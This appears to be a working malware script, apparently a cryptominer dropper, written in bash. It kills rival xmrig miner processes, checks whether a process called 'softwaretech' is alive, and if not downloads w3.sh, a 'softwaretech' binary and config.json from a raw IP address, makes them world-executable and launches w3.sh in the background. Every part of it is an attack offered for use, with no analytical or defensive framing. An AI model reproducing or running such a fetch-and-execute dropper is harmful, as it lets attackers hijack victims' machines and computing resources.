#!/bin/bash
PROC_NAME="softwaretech"

all_procs=$(ps -e -o stat=,comm=)
matches=$(echo "$all_procs" | awk -v name="$PROC_NAME" '$2 == name')
pkill xmrig 
pkill -9 xmrig 
killall xmrig 
killall -9 xmrig

if [ -z "$matches" ]; then
	
	rm config.json
	rm softwaretech
	curl -O http://46.151.182.18/w3.sh
	curl -O http://46.151.182.18/softwaretech
	curl -O http://46.151.182.18/config.json
	chmod 777 softwaretech
	chmod 777 w3.sh
	./w3.sh &

else
	alive=$(echo "$matches" | awk '$1 !~ /^Z/')
	if [ -z "$alive" ]; then
		

	rm config.json
	rm softwaretech
	curl -O http://46.151.182.18/w3.sh
	curl -O http://46.151.182.18/softwaretech
	curl -O http://46.151.182.18/config.json
	chmod 777 softwaretech
	chmod 777 w3.sh
	./w3.sh &
	else
		echo "process is running normally"
	fi
fi
